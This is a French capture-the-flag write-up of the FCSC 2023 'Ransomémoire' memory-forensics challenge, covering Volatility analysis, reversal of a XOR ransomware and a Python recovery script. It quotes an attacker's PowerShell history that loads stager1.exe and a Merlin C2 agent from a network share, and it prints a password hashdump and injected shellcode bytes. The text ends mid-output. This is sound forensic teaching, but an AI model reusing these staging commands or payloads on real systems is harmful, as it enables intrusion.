Contenu

FCSC 2023 - Ransomémoire

Merci à Abyss W4tcher pour son script install de volatility qui permet d’exécuter volatility dans un docker.


Ransomémoire

Catégorie : forensics

Ransomémoire 0/3 - Pour commencer

Difficulté : ⭐

Énoncé

Vous vous préparez à analyser une capture mémoire et vous notez quelques informations sur la machine avant de plonger dans l’analyse :

  • nom d’utilisateur,
  • nom de la machine,
  • navigateur utilisé.

Le flag est au format FCSC{<nom d’utilisateur>::} où :

  • <nom d’utilisateur> est le nom de l’utilisateur qui utilise la machine,
  • est le nom de la machine analysée et
  • est le nom du navigateur en cours d’exécution.

Par exemple : FCSC{toto:Ordinateur-de-jojo:Firefox}.

Attention : pour cette épreuve, vous n’avez que 10 tentatives de flag.

SHA256(fcsc.7z) = 754cb093af343356827d650270f9faa56cc4c44f44243ea08590edb1bc270b5e

Solve

On verifie l’intégrité du dump :

1
2
3
sha256sum fcsc.7z | grep 754cb093af343356827d650270f9faa56cc4c44f44243ea08590edb1bc270b5e

754cb093af343356827d650270f9faa56cc4c44f44243ea08590edb1bc270b5e  fcsc.7z

On récupère des informations de l’image :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
vol2d -f /a/$(readlink -f fcsc.dmp) imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win10x64_19041
                     AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                     AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/a/home/zarkyo/info/cyber/CTF-WU/fcsc-2023/Ransomemoire/fcsc.dmp)
                      PAE type : No PAE
                           DTB : 0x1aa002L
                          KDBG : 0xf8054c215b20L
          Number of Processors : 4
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff8054a57e000L
                KPCR for CPU 1 : 0xffffa6000d1a1000L
                KPCR for CPU 2 : 0xffffa6000cde8000L
                KPCR for CPU 3 : 0xffffa6000cfd3000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2023-04-17 17:24:50 UTC+0000
     Image local date and time : 2023-04-17 19:24:50 +0200
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sudo vol -f fcsc.dmp windows.info
Volatility 3 Framework 2.0.1
Progress:  100.00               PDB scanning finished
Variable        Value

Kernel Base     0xf8054b615000
DTB     0x1aa000
Symbols file:///usr/lib/python3.10/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/3789767E34B7A48A3FC80CE12DE18E65-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 Elf64Layer
base_layer      2 FileLayer
KdVersionBlock  0xf8054c224398
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      4
SystemTime      2023-04-17 17:24:50
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Mon Nov 24 23:45:00 2070
ntoskrnl version GUID-AGE OS
10.0.19041.2728 3789767E34B7A48A3FC80CE12DE18E651 Win10

On affiche les hive :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
sudo vol -f fcsc.dmp windows.registry.hivelist.HiveList
Volatility 3 Framework 2.0.1
Progress:  100.00               PDB scanning finished
Offset  FileFullPath    File output

0xe306c7864000          Disabled
0xe306c7889000  \REGISTRY\MACHINE\SYSTEM        Disabled
0xe306c8327000  \REGISTRY\MACHINE\HARDWARE      Disabled
0xe306c8bee000  \SystemRoot\System32\Config\DEFAULT     Disabled
0xe306c8d03000  \SystemRoot\System32\Config\SAM Disabled
0xe306c8d0a000  \SystemRoot\System32\Config\SECURITY    Disabled
0xe306c8d06000  \SystemRoot\System32\Config\SOFTWARE    Disabled
[...]

On récupère le nom de la machine :

1
2
3
4
5
6
7
sudo vol -f fcsc.dmp windows.registry.printkey.PrintKey --offset 0xe306c7889000  --key 'ControlSet001\Control\ComputerName\ComputerName'
Volatility 3 Framework 2.0.1
Progress:  100.00               PDB scanning finished
Last Write Time Hive Offset     Type    Key     Name    Data    Volatile

2023-04-04 17:24:39.000000      0xe306c7889000  REG_SZ  \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName        (Default)       "mnmsrvc"       False
2023-04-04 17:24:39.000000      0xe306c7889000  REG_SZ  \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName        ComputerName    "DESKTOP-PI234GP"       False

On peut dump les hash de password, on y retrouvera aussi les noms d’utilisateurs :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
sudo vol -f fcsc.dmp windows.hashdump.Hashdump
Volatility 3 Framework 2.0.1
Progress:  100.00               PDB scanning finished
User    rid     lmhash  nthash

Administrateur  500     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
Invité  501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount  503     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount      504     aad3b435b51404eeaad3b435b51404ee        8e6339a5717f7eab09999cc9f09f6828
Admin   1001    aad3b435b51404eeaad3b435b51404ee        a881324bad161293dedc71817988d944

Enfin, on récupère le navigateur en cours d’exécution :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sudo vol -f fcsc.dmp windows.pstree.PsTree
Volatility 3 Framework 2.0.1
Progress:  100.00               PDB scanning finished
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime

4       0       System  0x81867fc82080  185     -       N/A     False   2023-04-16 21:46:14.000000      N/A
* 380   4       smss.exe        0x818681879040  2       -       N/A     False   2023-04-16 21:46:14.000000      N/A
[...]
* 3892  624     userinit.exe    0x8186813f5340  0       -       1       False   2023-04-16 21:47:17.000000      2023-04-16 21:47:42.000000 
** 3928 3892    explorer.exe    0x818684aa0340  66      -       1       False   2023-04-16 21:47:17.000000      N/A
*** 6304        3928    SecurityHealth  0x8186885240c0  6       -       1       False   2023-04-16 21:47:34.000000      N/A
*** 6424        3928    VBoxTray.exe    0x81868852e080  13      -       1       False   2023-04-16 21:47:34.000000      N/A
**** 5540       6424    svchost.exe     0x818687754080  1       -       1       False   2023-04-17 17:21:18.000000      N/A
*** 3524        3928    ProcessHacker.  0x818687fb70c0  10      -       1       False   2023-04-17 17:21:50.000000      N/A
*** 4072        3928    brave.exe       0x818688060300  31      -       1       False   2023-04-17 17:21:31.000000      N/A
**** 4160       4072    brave.exe       0x818687e5e080  18      -       1       False   2023-04-17 17:22:11.000000      N/A
**** 2844       4072    brave.exe       0x818688773080  7       -       1       False   2023-04-17 17:21:44.000000      N/A
**** 5064       4072    brave.exe       0x8186872b8300  8       -       1       False   2023-04-17 17:21:39.000000      N/A
**** 3952       4072    brave.exe       0x818687ff6080  14      -       1       False   2023-04-17 17:21:44.000000      N/A
**** 5500       4072    brave.exe       0x8186886980c0  15      -       1       False   2023-04-17 17:21:46.000000      N/A
**** 4060       4072    brave.exe       0x818681344080  12      -       1       False   2023-04-17 17:21:44.000000      N/A
7156    7048    OneDrive.exe    0x81868897e080  20      -       1       False   2023-04-16 21:48:32.000000      N/A
* 2296  7156    Microsoft.Shar  0x818684b43080  0       -       1       False   2023-04-17 17:16:06.000000      2023-04-17 17:16:08.000000 
6808    6612    brave.exe       0x818688160300  10      -       1       False   2023-04-17 17:16:19.000000      N/A
* 3144  6808    brave.exe       0x8186880f4080  0       -       1       False   2023-04-17 17:18:04.000000      2023-04-17 17:18:58.000000 
960     1528    BraveUpdate.ex  0x818688718080  3       -       0       True    2023-04-17 17:16:26.000000      N/A

Flag : FCSC{Admin:DESKTOP-PI234GP:brave}

Ransomémoire 1/3 - Mon précieux

Difficulté : ⭐ ⭐

Énoncé

Vous étiez en train de consulter vos belles photos de chats quand patatra, votre fichier super secret sur votre Bureau change d’extension et devient illisible…

Vous faites une capture mémoire pour comprendre ce qu’il s’est passé, dans le but de récupérer ce précieux fichier.

Attention : pour cette épreuve, vous n’avez que 10 tentatives de flag.

Solve

On sait qu’on doit retrouver un fichier qui était stocké sur le bureau de de la machine :

1
vol2d --plugins=/a/$(readlink -f plugins) -f /a/$(readlink -f fcsc.dmp) --profile=Win10x64_19041 mftparser > mft.txt
1
2
3
4
5
6
7
grep -i 'Users\\Admin\\Desktop\\' mft.txt 

2023-04-17 17:23:45 UTC+0000 2023-04-17 17:23:50 UTC+0000   2023-04-17 17:23:50 UTC+0000   2023-04-17 17:23:50 UTC+0000   Users\Admin\Desktop\FLAGFC~1.ENC
2023-04-17 17:23:45 UTC+0000 2023-04-17 17:23:50 UTC+0000   2023-04-17 17:23:50 UTC+0000   2023-04-17 17:23:50 UTC+0000   Users\Admin\Desktop\flag.fcsc.enc
[...]
2023-04-17 17:23:45 UTC+0000 2023-04-17 17:23:45 UTC+0000   2023-04-17 17:23:45 UTC+0000   2023-04-17 17:23:45 UTC+0000   Users\Admin\Desktop\chats.odt
[...]

On remarque le fichier flag.fcsc.enc. On va essayer de l’extraire :

1
vol2d --plugins=/a/$(readlink -f plugins) -f /a/$(readlink -f fcsc.dmp) --profile=Win10x64_19041 filescan > files.txt

Malheureusement, on ne trouve pas le fichier dans le résultat du filescan :

1
grep -i flag files.txt

On peut essayer de l’extraire avec l’aide de la MFT :

1
vol2d --plugins=/a/$(readlink -f plugins) -f /a/$(readlink -f fcsc.dmp) --profile=Win10x64_19041 mftparser --output=body --dump-dir=/a/$(readlink -f extracts/mft) --output-file=/a/$(readlink -f extracts/ransom_mft.body)
1
2
3
4
5
grep -i flag extracts/ransom_mft.body 
0|[MFT FILE_NAME] Users\Admin\Desktop\FLAGFC~1.ENC (Offset: 0x1327400)|96165|---a-----------|0|0|71|1681752230|1681752230|1681752230|1681752225
0|[MFT STD_INFO] Users\Admin\Desktop\FLAGFC~1.ENC (Offset: 0x1327400)|96165|---a-----------|0|0|71|1681752230|1681752230|1681752230|1681752225
0|[MFT FILE_NAME] Users\Admin\Desktop\flag.fcsc.enc (Offset: 0x1327400)|96165|---a-----------|0|0|71|1681752230|1681752230|1681752230|1681752225
0|[MFT FILE_NAME] Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\CONTRA~1\FlagToastQuickAction.scale-80.png (Offset: 0x6fbaf000)|99752|---a-----------|0|0|0|1680631553|1680631553|1680631553|1680631553
1
2
3
4
ls extracts/mft/*1327400*
extracts/mft/file.0x1327400.data0.dmp

mv extracts/mft/file.0x1327400.data0.dmp extracts/flag.fcsc.enc

On a récupéré notre fichier. On sait que le fichier a changé d’extension et est devenu illisible. Avec le nom du chall, on peut se douter que le fichier a été chiffré. On va essayer de voir quel processus a pu interagir avec ce fichier.

Pour cela, on va aller regarder les handles :

1
vol2d --plugins=/a/$(readlink -f plugins) -f /a/$(readlink -f fcsc.dmp) --profile=Win10x64_19041 handles > handles.txt
1
2
3
4
5
6
7
grep -i flag handles.txt
0xffffe306c87640a0      4              0x120            0x20019 Key              MACHINE\SYSTEM\CONTROLSET001\CONTROL\AUDIO\HDAUDIOFLAGS
0xffffe306cb638910    728              0x37c            0xf003f Key              MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKSTATEFLAGS
0xffffe306cd814260      8              0x834            0xf003f Key              MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\CLIENTTELEMETRY\TPREQUESTS
0xffffe306cd813380      8              0x8ec            0xf003f Key              MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\CLIENTTELEMETRY\TPREQUESTS
0xffffe306cf7801e0   4900              0x190            0xf003f Key              MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\TELEMETRYCONTROLLER
0xffffe306cf781720   4900              0x1d8            0x20019 Key              MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\TELEMETRYCONTROLLER\APPRAISER

On a rien dans les handles concernant flag.fcsc.

Cependant, on sait que le fichier est contenu sur le bureau :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
grep -i desktop handles.txt

Offset(V)             Pid             Handle             Access Type             Details
------------------ ------ ------------------ ------------------ ---------------- -------
0xffff818684ccec70      4              0x530            0xf0003 Desktop          Disconnect
0xffff818684ccf240      4              0x71c            0xf0003 Desktop          Disconnect
[...]
0xffff818689b9cba0   3928              0xd58           0x100081 File             \Device\HarddiskVolume2\Users\Public\Desktop
[...]
0xffff818689b9e4a0   3928             0x1624           0x100081 File             \Device\HarddiskVolume2\Users\Admin\Desktop
[...]
0xffff818689b9fda0   3928             0x2264           0x100081 File             \Device\HarddiskVolume2\Users\Public\Desktop
[...]
0xffff818689b9d1e0   3928             0x25bc           0x100081 File             \Device\HarddiskVolume2\Users\Admin\Desktop
[...]
0xffff818689b8f590   5540              0x218           0x100001 File             \Device\HarddiskVolume2\Users\Admin\Desktop
[...]

On a 2 processus qui interagissent avec le bureau : 3928 (explorer.exe) et 5540 (svchost.exe).

On peut dump les processus suspects :

1
2
3
4
5
6
vol2d --plugins=/a/$(readlink -f plugins) -f /a/$(readlink -f fcsc.dmp) --profile=Win10x64_19041 procdump -p 5540 --dump-dir=/a/$(readlink -f extracts)
Volatility Foundation Volatility Framework 2.6.1

Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xffff818687754080 0x0000000000400000 svchost.exe          OK: executable.5540.exe

Le 5540 (svchost.exe) est concluant en remarquant les extensions .enc et .fcsc avec strings.

1
2
3
4
strings -el extracts/executable.5540.exe 
C:\Windows\Temp\MsCmdRun%d.log
.enc
*.fcsc

On va devoir analyser l’exe pour espérer récupérer une clé de chiffrement :

1
2
file extracts/executable.5540.exe 
extracts/executable.5540.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, 5 sections
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
objdump -p extracts/executable.5540.exe       

extracts/executable.5540.exe:     format de fichier pei-x86-64

Caractéristiques 0x22f
        relocations stripped
        executable
        line numbers stripped
        symbols stripped
        large address aware
        debugging information removed

Time/Date               Mon Apr 17 00:37:33 2023
Magic                   020b    (PE32+)
MajorLinkerVersion      2
MinorLinkerVersion      35
SizeOfCode              0000000000000600
SizeOfInitializedData   0000000000000a00
SizeOfUninitializedData 0000000000000000
AddressOfEntryPoint     0000000000001420
BaseOfCode              0000000000001000
ImageBase               0000000000400000
SectionAlignment        00001000
FileAlignment           00000200
MajorOSystemVersion     4
MinorOSystemVersion     0
MajorImageVersion       0
MinorImageVersion       0
MajorSubsystemVersion   5
MinorSubsystemVersion   2
Win32Version            00000000
SizeOfImage             00006000
SizeOfHeaders           00000400
CheckSum                0000d417
Subsystem               00000002        (Windows GUI)
DllCharacteristics      00000000
SizeOfStackReserve      0000000000200000
SizeOfStackCommit       0000000000001000
SizeOfHeapReserve       0000000000100000
SizeOfHeapCommit        0000000000001000
LoaderFlags             00000000
NumberOfRvaAndSizes     00000010

The Data Directory
Entry 0 0000000000000000 00000000 Export Directory [.edata (or where ever we found it)]
Entry 1 0000000000005000 00000394 Import Directory [parts of .idata]
Entry 2 0000000000000000 00000000 Resource Directory [.rsrc]
Entry 3 0000000000003000 0000003c Exception Directory [.pdata]
Entry 4 0000000000000000 00000000 Security Directory
Entry 5 0000000000000000 00000000 Base Relocation Directory [.reloc]
Entry 6 0000000000000000 00000000 Debug Directory
Entry 7 0000000000000000 00000000 Description Directory
Entry 8 0000000000000000 00000000 Special Directory
Entry 9 0000000000000000 00000000 Thread Storage Directory [.tls]
Entry a 0000000000000000 00000000 Load Configuration Directory
Entry b 0000000000000000 00000000 Bound Import Directory
Entry c 0000000000005124 000000c0 Import Address Table Directory
Entry d 0000000000000000 00000000 Delay Import Directory
Entry e 0000000000000000 00000000 CLR Runtime Header
Entry f 0000000000000000 00000000 Reserved

Il y a une table d'importation dans .idata à 0x405000

Les tables d'importation (contenus interprété de la section .idata)
 vma:            Hint    Temps     Avant    DLL       Premier
                 Table   Estampil. Chaîne   Nom       Thunk
 00005000       00005064 00000000 00000000 00005314 00005124

        Nom DLL: bcrypt.dll
        vma:  Hint/Ord Membre      Lien
        51e4       30  BCryptGenRandom

 00005014       00005074 00000000 00000000 00005364 00005134

        Nom DLL: KERNEL32.dll
        vma:  Hint/Ord Membre      Lien
        51f6      141  CloseHandle
        5204      212  CreateFileW
        5212      366  ExitProcess
        5220      400  FindFirstFileW
        5232      488  GetCommandLineW
        5244      654  GetModuleHandleW
        5258      716  GetProcessHeap
        526a      744  GetStartupInfoW
        527c      863  HeapAlloc
        5288      869  HeapFree
        5294     1032  MoveFileW
        52a0     1170  ReadFile
        52ac     1319  SetFilePointer
        52be     1410  Sleep
        52c6     1567  WriteFile
        52d2     1597  lstrcatW
        52de     1606  lstrcpyW

 00005028       00005104 00000000 00000000 00005378 000051c4

        Nom DLL: SHELL32.dll
        vma:  Hint/Ord Membre      Lien
        52ea      256  SHGetSpecialFolderPathW

 0000503c       00005114 00000000 00000000 00005388 000051d4

        Nom DLL: USER32.dll
        vma:  Hint/Ord Membre      Lien
        5304      959  wsprintfW

 00005050       00000000 00000000 00000000 00000000 00000000

La table de fonctions (interprétation du contenu de la section .pdata)
 vma:                   Adresse Début    Adresse Fin      Unwind Info

On va ouvrir notre .exe avec un decompiler (ghidra).

/fcsc-2023/Ransomemoire/entry.png

/fcsc-2023/Ransomemoire/main.png

/fcsc-2023/Ransomemoire/key.png

/fcsc-2023/Ransomemoire/cipher.png

On comprend qu’une chaine de caractère est généré de manière aléatoire avec Bcrypt toute les 10 secondes, cette chaine est écrite dans un nouveau fichier MsCmdRunX.log à chaque nouvelle itération. Ce fichier sera notre “clé”.

Un XOR a été réalisé sur notre flag.fcsc. Le XOR est fait à partir de la “clé” et d’un nombre qui correspond au numéro de la “clé”.

Il faut maintenant récupérer les fichiers MsCmdRunX.log. On a précédemment pu récupérer l’ensemble des fichiers. Il suffit de les trouver :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
grep -i 'MsCmdRun' extracts/ransom_mft.body
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun3.log (Offset: 0x4701800)|4090|---a-----------|0|0|0|1681752123|1681752123|1681752123|1681752123
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun11.log (Offset: 0xd3bfc00)|274107|---a-----------|0|0|0|1681752211|1681752211|1681752211|1681752211
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun15.log (Offset: 0x1941cc00)|116115|---a-----------|0|0|0|1681752237|1681752237|1681752237|1681752237
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun17.log (Offset: 0x1dc6fc00)|274203|---a-----------|0|0|0|1681752253|1681752253|1681752253|1681752253
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun6.log (Offset: 0x24ddcc00)|273919|---a-----------|0|0|0|1681752165|1681752165|1681752165|1681752165
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun2.log (Offset: 0x2aefcc00)|244919|---a-----------|0|0|0|1681752108|1681752108|1681752108|1681752108
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun7.log (Offset: 0x2fc41000)|274112|---a-----------|0|0|0|1681752176|1681752176|1681752176|1681752176
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun8.log (Offset: 0x2fc41c00)|274115|---a-----------|0|0|0|1681752186|1681752186|1681752186|1681752186
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun12.log (Offset: 0x405edc00)|274195|---a-----------|0|0|0|1681752218|1681752218|1681752218|1681752218
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun19.log (Offset: 0x411b7800)|118250|---a-----------|0|0|0|1681752272|1681752272|1681752272|1681752272
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun13.log (Offset: 0x4440b800)|93990|---a-----------|0|0|0|1681752224|1681752224|1681752224|1681752224
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun14.log (Offset: 0x45022000)|106392|---a-----------|0|0|0|1681752230|1681752230|1681752230|1681752230
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun0.log (Offset: 0x451ea800)|271638|---a-----------|0|0|0|1681752078|1681752078|1681752078|1681752078
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun20.log (Offset: 0x5135d198)|274226|---a-----------|0|0|0|1681752283|1681752283|1681752283|1681752283
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun9.log (Offset: 0x521c0c00)|274111|---a-----------|0|0|0|1681752195|1681752195|1681752195|1681752195
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun18.log (Offset: 0x59573400)|274217|---a-----------|0|0|0|1681752262|1681752262|1681752262|1681752262
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun4.log (Offset: 0x5a8fc000)|272660|---a-----------|0|0|0|1681752138|1681752138|1681752138|1681752138
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun1.log (Offset: 0x60769800)|271646|---a-----------|0|0|0|1681752093|1681752093|1681752093|1681752093
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun5.log (Offset: 0x674d8800)|272342|---a-----------|0|0|0|1681752152|1681752152|1681752152|1681752152
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun16.log (Offset: 0x7052a800)|116814|---a-----------|0|0|0|1681752244|1681752244|1681752244|1681752244
0|[MFT FILE_NAME] Windows\Temp\MsCmdRun10.log (Offset: 0x74ec2000)|274116|---a-----------|0|0|0|1681752204|1681752204|1681752204|1681752204

On prend l’offset pour trouver le fichier correspondant et on le renomme. On fait ca pour chaque fichier :

1
2
3
4
ls extracts/mft/*4701800*
extracts/mft/file.0x4701800.data0.dmp

mv extracts/mft/file.0x4701800.data0.dmp log/MsCmdRun3.log

Maintenant qu’on a récupéré les fichiers, on brute force en réalisant un XOR avec toutes les “clés” produites :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os

def xor_files(file1, file2, output_file, i2):
    with open(file1, "rb") as f1, open(file2, "rb") as f2, open(output_file, "wb") as out:
        buffer_file = f1.read()
        buffer_file2 = f2.read()
        value_100 = len(buffer_file)

        i = 0
        while i != value_100:
            byte1 = buffer_file[i]
            byte2 = buffer_file2[i]
            out.write(bytes([byte1 ^ byte2 ^ i2]))
            i = i + 1

# Input and output file paths
flag_file = "extracts/flag.fcsc.enc"
output_folder = "output"

# Create output folder if it doesn't exist
if not os.path.exists(output_folder):
    os.mkdir(output_folder)

# Loop over MsCmdRunX.log files in Log folder
for i in range(20):
    log_file = f"log/MsCmdRun{i}.log"
    output_file = f"{output_folder}/xor_output{i}.txt"

    # Perform the XOR operation between the flag file and the log file
    xor_files(flag_file, log_file, output_file, i)

    print(f"Le fichier {log_file} a été XOR avec succès avec le fichier {flag_file}")
    print(f"Le résultat est enregistré dans {output_file}")

Dans l’output 14, on récupère notre flag.

On aurait pu détecter notre processus malveillant dans la MFT de part le path du svchost.exe : Windows\Temp\svchost.exe

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
$STANDARD_INFORMATION
Creation                       Modified                       MFT Altered                    Access Date                    Type
------------------------------ ------------------------------ ------------------------------ ------------------------------ ----
2023-04-17 17:21:16 UTC+0000 2023-04-17 17:21:17 UTC+0000   2023-04-17 17:24:14 UTC+0000   2023-04-17 17:22:16 UTC+0000   Archive

$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2023-04-17 17:21:16 UTC+0000 2023-04-17 17:21:16 UTC+0000   2023-04-17 17:21:16 UTC+0000   2023-04-17 17:21:16 UTC+0000   Windows\Temp\svchost.exe

$DATA


***************************************************************************
***************************************************************************
MFT entry found at offset 0x451ea800
Attribute: In Use & File
Record Number: 271638
Link count: 2


$STANDARD_INFORMATION
Creation                       Modified                       MFT Altered                    Access Date                    Type
------------------------------ ------------------------------ ------------------------------ ------------------------------ ----
2023-04-17 17:21:18 UTC+0000 2023-04-17 17:21:18 UTC+0000   2023-04-17 17:24:14 UTC+0000   2023-04-17 17:21:18 UTC+0000   Archive

$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2023-04-17 17:21:18 UTC+0000 2023-04-17 17:21:18 UTC+0000   2023-04-17 17:21:18 UTC+0000   2023-04-17 17:21:18 UTC+0000   Windows\Temp\MSCMDR~1.LOG

$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2023-04-17 17:21:18 UTC+0000 2023-04-17 17:21:18 UTC+0000   2023-04-17 17:21:18 UTC+0000   2023-04-17 17:21:18 UTC+0000   Windows\Temp\MsCmdRun0.log

$DATA
0000000000: 10 4c 0e d8 d0 ae c9 de 84 20 6b 10 77 db 0c bd   .L........k.w...
0000000010: fd 1c 5a c6 40 ea f7 c2 24 b4 b9 33 2e d4 36 fb   ..Z.@...$..3..6.
0000000020: d6 6e c8 ed 7c 31 82 e6 3c 29 6e d5 5d 4d 82 30   .n..|1..<)n.]M.0
0000000030: 4a 95 ae 42 8c 82 b6 7a 18 47 eb 1a 72 1a d0 03   J..B...z.G..r...
0000000040: 87 54 53 cc 79 f4 49 d4 78 2a 7e a2 70 71 f9 10   .TS.y.I.x*~.pq..
0000000050: be cd 79 a5 d5 ea dc b2 45 64 2c aa 14 12 16 81   ..y.....Ed,.....
0000000060: 6f fe 0f 66                                       o..f

Flag : FCSC{776f25d811bf9ac262143d0f1fa97c382f7b5972121b37d0361c7d7ad1b27079}

Ransomémoire 2/3 - Début d’investigation

Difficulté : ⭐ ⭐

Énoncé

Ouf, vous avez pu récupérer votre précieux fichier. Vous enquêtez maintenant sur l’origine de ce chiffrement.

Le flag est au format FCSC{::} où :

  • est l’ID du processus qui a déposé et exécuté le chiffreur et
  • et sont les paramètres de la connexion avec le C2.

Attention : pour cette épreuve, vous n’avez que 10 tentatives de flag.

Solve

1
2
grep -i 'ConsoleHost_history.txt' extracts/ransom_mft.body 
0|[MFT FILE_NAME] Users\Admin\AppData\Roaming\Microsoft\Windows\POWERS~1\PSREAD~1\ConsoleHost_history.txt (Offset: 0x221c8000)|103260|---a-----------|0|0|0|1681751775|1681751775|1681751775|1681751775

Après extraction et renommage :

1
2
3
4
5
cat ConsoleHost_history.txt

net use \\192.168.1.14 /u:guest:
\\192.168.1.14\ctf\stager1.exe \\192.168.1.14\ctf\merlin.exe 'C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe' 'C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe'
exit

Après avoir retourné l’ensemble de la capture mémoire et ignoré jusque là les process liés à de la virtualisation (en générale lié à l’infrastructure du challenge), j’ai tout de même décidé de m’intéréssé à VBoxTray.exe - 6424 étant donné qu’il est le Parent Process de notre chiffreur (Temp\svchost.exe - 5540) et qu’il est signaler par malfind.

PS : De manière générale, faire attention aux résultats de malfind

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
vol2d -f /a/$(readlink -f fcsc.dmp) --profile=Win10x64_19041 malfind

Volatility Foundation Volatility Framework 2.6.1
Process: VBoxTray.exe Pid: 6424 Address: 0x22d82840000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: PrivateMemory: 1, Protection: 6

0x0000022d82840000  fc 48 89 ce 48 81 ec 00 20 00 00 48 83 e4 f0 e8   .H..H......H....
0x0000022d82840010  cc 00 00 00 41 51 41 50 52 48 31 d2 51 56 65 48   ....AQAPRH1.QVeH
0x0000022d82840020  8b 52 60 48 8b 52 18 48 8b 52 20 48 0f b7 4a 4a   .R`H.R.H.R.H..JJ
0x0000022d82840030  48 8b 72 50 4d 31 c9 48 31 c0 ac 3c 61 7c 02 2c   H.rPM1.H1..<a|.,

0x0000000082840000 fc               CLD
0x0000000082840001 48               DEC EAX
0x0000000082840002 89ce             MOV ESI, ECX
0x0000000082840004 48               DEC EAX
0x0000000082840005 81ec00200000     SUB ESP, 0x2000
0x000000008284000b 48               DEC EAX
